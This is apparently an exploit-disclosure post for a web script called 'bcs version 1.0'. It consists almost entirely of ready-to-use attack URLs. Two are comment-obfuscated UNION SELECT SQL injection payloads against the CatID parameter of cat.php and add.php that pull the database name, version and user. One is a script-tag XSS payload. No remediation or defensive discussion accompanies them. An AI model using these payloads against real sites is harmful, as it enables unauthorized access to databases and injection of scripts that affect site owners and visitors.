scripts bcs version 1.0 SQL Injection And Xss

scripts bcs version 1.0 SQL Injection
Down : http://www.traidnt.net/vb/traidnt2061880/
Type : SQL Injection
Severity : Very dangerous
exploit :
http://aama.com/bcs/cat.php?CatID=-1+/*!UnIoN*/+/*!All*/+/*!sElECT*/+/*!ConcaT%28DaTabase%28%29,0x3a,VerSion%28%29,0x3a,UseR%28%29%29*/
AND
http://aama.com/bcs/add.php?CatID=-1+/*!UnIoN*/+/*!All*/+/*!sElECT*/+/*!ConcaT%28DaTabase%28%29,0x3a,VerSion%28%29,0x3a,UseR%28%29%29*/
Example :
http://desmond.imageshack.us/Himg401/scaled.php?server=401&filename=bcs.png&res=medium
Xss :
http://aama.com/bcs/add.php?CatID="><script>alert('xss')</script>